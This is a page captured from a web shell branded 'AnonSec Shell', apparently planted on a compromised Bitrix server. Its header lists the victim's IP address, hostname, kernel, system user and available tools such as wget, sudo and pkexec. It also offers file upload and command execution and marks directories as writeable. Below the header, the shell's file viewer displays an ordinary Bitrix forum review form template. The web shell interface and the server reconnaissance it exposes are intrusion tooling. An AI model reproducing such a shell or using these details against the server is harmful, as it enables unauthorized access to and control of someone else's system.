AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.137.182.116
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/components/bitrix/forum.topic.reviews/templates/.default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/components/bitrix/forum.topic.reviews/templates/.default/form.php
<?php
if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();
/**
 * Bitrix vars
 *
 * @var array $arParams, $arResult
 * @var CBitrixComponentTemplate $this
 * @var CMain $APPLICATION
 * @var CUser $USER
 */
$tabIndex = 1;
?>
<div class="reviews-reply-form" <?=(empty($arResult["ERROR_MESSAGE"]) ? ' style="display: none;"' : '')?>>
<div data-bx-role="preview">
		<?php
		if (!empty($arResult["MESSAGE_VIEW"]))
		{
		?>
		<div class="reviews-preview">
			<a name="review_anchor"></a>
			<div class="reviews-header-box">
				<div class="reviews-header-title"><a name="postform"><span><?=GetMessage("F_PREVIEW")?></span></a></div>
			</div>
			<div class="reviews-info-box reviews-post-preview">
				<div class="reviews-info-box-inner">
					<div class="reviews-post-entry">
						<div class="reviews-post-text"><?=$arResult["MESSAGE_VIEW"]["POST_MESSAGE_TEXT"]?></div>
						<?php
						if (!empty($arResult["REVIEW_FILES"])):
							?>
							<div class="reviews-post-attachments">
								<label><?=GetMessage("F_ATTACH_FILES")?></label>
								<?php
								foreach ($arResult["REVIEW_FILES"] as $arFile):
									?>
									<div class="reviews-post-attachment">
										<?php $GLOBALS["APPLICATION"]->IncludeComponent(
											"bitrix:forum.interface", "show_file",
											Array(
												"FILE" => $arFile,
												"WIDTH" => $arResult["PARSER"]->image_params["width"],
												"HEIGHT" => $arResult["PARSER"]->image_params["height"],
												"CONVERT" => "N",
												"FAMILY" => "FORUM",
												"SINGLE" => "Y",
												"RETURN" => "N",
												"SHOW_LINK" => "Y"),
											null,
											array("HIDE_ICONS" => "Y"));
										?></div>
								<?php
								endforeach;
								?>
							</div>
						<?php
						endif;
						?>
					</div>
				</div>
			</div>
			<div class="reviews-br"></div>
	</div><?php
	}
?>
</div>
<div data-bx-role="error"><?php
if (!empty($arResult["ERROR_MESSAGE"]))
{
	$arResult["ERROR_MESSAGE"] = preg_replace(array("/<br(.*?)><br(.*?)>/is", "/<br(.*?)>$/is"), array("<br />", ""), $arResult["ERROR_MESSAGE"]);
	?>
		<div data-bx-role="error-message" class="reviews-note-box reviews-note-error">
			<div class="reviews-note-box-text"><?=ShowError($arResult["ERROR_MESSAGE"], "reviews-note-error");?></div>
		</div>
	<?php
}
?></div>
<form name="<?=$arParams["FORM_ID"] ?>" id="<?=$arParams["FORM_ID"]?>" <?php
	?>action="<?=POST_FORM_ACTION_URI?>#postform" method="POST" enctype="multipart/form-data" class="reviews-form">
	<?=bitrix_sessid_post()?>
	<input type="hidden" name="index" value="<?=htmlspecialcharsbx($arParams["form_index"])?>" />
	<input type="hidden" name="back_page" value="<?=$arResult["CURRENT_PAGE"]?>" />
	<input type="hidden" name="ELEMENT_ID" value="<?=$arParams["ELEMENT_ID"]?>" />
	<input type="hidden" name="SECTION_ID" value="<?=$arResult["ELEMENT_REAL"]["IBLOCK_SECTION_ID"]?>" />
	<input type="hidden" name="save_product_review" value="Y" />
	<input type="hidden" name="preview_comment" value="N" />
	<input type="hidden" name="AJAX_POST" value="<?=$arParams["AJAX_POST"]?>" />
	<?
	if ($arParams['AUTOSAVE'])
		$arParams['AUTOSAVE']->Init();
	?>
	<div style="position:relative; display: block; width:100%;">
		<?
		/* GUEST PANEL */
		if (!$arResult["IS_AUTHORIZED"]):
			?>
			<div class="reviews-reply-fields">
				<div class="reviews-reply-field-user">
					<div class="reviews-reply-field reviews-reply-field-author"><label for="REVIEW_AUTHOR<?=$arParams["form_index"]?>"><?=GetMessage("OPINIONS_NAME")?><?
							?><span class="reviews-required-field">*</span></label>
						<span><input name="REVIEW_AUTHOR" id="REVIEW_AUTHOR<?=$arParams["form_index"]?>" size="30" type="text" value="<?=$arResult["REVIEW_AUTHOR"]?>" tabindex="<?=$tabIndex++;?>" /></span></div>
					<?
					if ($arResult["FORUM"]["ASK_GUEST_EMAIL"]=="Y"):
						?>
						<div class="reviews-reply-field-user-sep">&nbsp;</div>
						<div class="reviews-reply-field reviews-reply-field-email"><label for="REVIEW_EMAIL<?=$arParams["form_index"]?>"><?=GetMessage("OPINIONS_EMAIL")?></label>
							<span><input type="text" name="REVIEW_EMAIL" id="REVIEW_EMAIL<?=$arParams["form_index"]?>" size="30" value="<?=$arResult["REVIEW_EMAIL"]?>" tabindex="<?=$tabIndex++;?>" /></span></div>
					<?
					endif;
					?>
					<div class="reviews-clear-float"></div>
				</div>
			</div>
		<?
		endif;
		?>
		<div class="reviews-reply-header"><span><?=$arParams["MESSAGE_TITLE"]?></span><span class="reviews-required-field">*</span></div>
		<div class="reviews-reply-field reviews-reply-field-text">
			<?

			$APPLICATION->IncludeComponent(
				"bitrix:main.post.form",
				"",
				Array(
					"FORM_ID" => $arParams["FORM_ID"],
					"PARSER" => forumTextParser::GetEditorToolbar(array("forum" => $arResult["FORUM"])),

					"LHE" => array(
						'id' => 'lhe'.$arParams["FORM_ID"],
						'bResizable' => true,
						'bAutoResize' => true,
						"documentCSS" => "body {color:#434343; font-size: 14px; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; line-height: 20px;}",
						'setFocusAfterShow' => false,
						'lazyLoad' => empty($arResult["ERROR_MESSAGE"]),
					),

					"ADDITIONAL" => array(),

					"TEXT" => Array(
						"ID" => "REVIEW_TEXT",
						"NAME" => "REVIEW_TEXT",
						"VALUE" => isset($arResult["REVIEW_TEXT"]) ? $arResult["REVIEW_TEXT"] : "",
						"SHOW" => "Y",
						"HEIGHT" => "200px"),

					"SMILES" => COption::GetOptionInt("forum", "smile_gallery_id", 0),
					"NAME_TEMPLATE" => $arParams["NAME_TEMPLATE"],
				),
				$component,
				array("HIDE_ICONS" => "Y")
			);
			?>
		</div>
		<?

		/* CAPTHCA */
		if ($arResult["CAPTCHA_CODE"] <> ''):
			?>
			<div class="reviews-reply-field reviews-reply-field-captcha">
				<input type="hidden" name="captcha_code" value="<?=$arResult["CAPTCHA_CODE"]?>"/>
				<div class="reviews-reply-field-captcha-label">
					<label for="captcha_word"><?=GetMessage("F_CAPTCHA_PROMT")?><span class="reviews-required-field">*</span></label>
					<input type="text" size="30" name="captcha_word" tabindex="<?=$tabIndex++;?>" autocomplete="off" />
				</div>
				<div class="reviews-reply-field-captcha-image">
					<img name="captcha_image" src="/bitrix/tools/captcha.php?captcha_code=<?=$arResult["CAPTCHA_CODE"]?>" alt="<?=GetMessage("F_CAPTCHA_TITLE")?>" />
				</div>
			</div>
		<?
		endif;
		/* ATTACH FILES */
		if ($arResult["SHOW_PANEL_ATTACH_IMG"] == "Y")
		{
			?><div class="reviews-reply-field reviews-reply-field-upload">
				<input type="checkbox" data-bx-role="attach-visibility" id="attaches-<?=$arParams["form_index"]?>">
				<div data-bx-role="attach-form">
					<div class="reviews-upload-info"><?php
						$acceptExtensions = "";
						if ($arParams["FORUM"]["ALLOW_UPLOAD"] == "F")
						{
							$acceptExtensions = $arParams["FORUM"]["ALLOW_UPLOAD_EXT"];
							?>
							<div><?=str_replace(
								"#EXTENSION#",
								$arParams["FORUM"]["ALLOW_UPLOAD_EXT"], GetMessage("F_FILE_EXTENSION"))?>
							</div>
							<?php
						}
						?>
						<div><?=GetMessage(
								"F_FILE_SIZE",
								["#SIZE#" => CFile::FormatSize(COption::GetOptionString("forum", "file_max_size", 5242880))])?>
						</div>
					</div><?php
					$ii = 0;
					while (($ii++) < $arParams["FILES_COUNT"])
					{
						?>
						<div class="reviews-upload-file">
							<input name="FILE_NEW_<?=$ii?>" type="file" accept="<?=htmlspecialcharsbx($acceptExtensions)?>" size="30" />
						</div>
						<?php
					}
					?>
				</div>
				<label for="attaches-<?=$arParams["form_index"]?>" class="forum-upload-file-attach">
					<?=($arResult["FORUM"]["ALLOW_UPLOAD"] == "Y" ? GetMessage("F_LOAD_IMAGE")
						: GetMessage("F_LOAD_FILE"))?>
				</label>
			</div><?php
		}
		?>
		<div class="reviews-reply-field reviews-reply-field-settings">
			<?
			/* SMILES */
			if ($arResult["FORUM"]["ALLOW_SMILES"] == "Y"):
				?>
				<div class="reviews-reply-field-setting">
					<input type="checkbox" name="REVIEW_USE_SMILES" id="REVIEW_USE_SMILES<?=$arParams["form_index"]?>" <?
					?>value="Y" <?=($arResult["REVIEW_USE_SMILES"]=="Y") ? "checked=\"checked\"" : "";?> <?
					?>tabindex="<?=$tabIndex++;?>" /><?
					?>&nbsp;<label for="REVIEW_USE_SMILES<?=$arParams["form_index"]?>"><?=GetMessage("F_WANT_ALLOW_SMILES")?></label></div>
			<?
			endif;
			/* SUBSCRIBE */
			if ($arResult["SHOW_SUBSCRIBE"] == "Y"):
				?>
				<div class="reviews-reply-field-setting">
					<input type="checkbox" name="TOPIC_SUBSCRIBE" id="TOPIC_SUBSCRIBE<?=$arParams["form_index"]?>" value="Y" <?
					?><?=($arResult["TOPIC_SUBSCRIBE"] == "Y")? "checked disabled " : "";?> tabindex="<?=$tabIndex++;?>" /><?
					?>&nbsp;<label for="TOPIC_SUBSCRIBE<?=$arParams["form_index"]?>"><?=GetMessage("F_WANT_SUBSCRIBE_TOPIC")?></label></div>
			<?
			endif;
			?>
		</div>
		<div class="reviews-reply-buttons">
			<input type="submit" tabindex="<?=$tabIndex++;?>" value="<?=GetMessage("OPINIONS_SEND")?>">
		</div>
	</div>
</form>
<script type="text/javascript">
	BX.ready(function(){
		BX.Forum.Reviews.Form.create({
			formId: '<?=$arParams["FORM_ID"]?>',
			editorId: 'lhe<?=$arParams["FORM_ID"]?>',
			formNode: BX('<?=$arParams["FORM_ID"]?>'),
			useAjax : <?=($arParams["AJAX_POST"] === 'Y' ? 'true' : 'false')?>,
		});
	});
</script>
</div>
<?
if ($arParams['AUTOSAVE'])
	$arParams['AUTOSAVE']->LoadScript(array(
		"formID" => CUtil::JSEscape($arParams["FORM_ID"]),
		"controlID" => "REVIEW_TEXT"
	));

Anon7 - 2022
AnonSec Team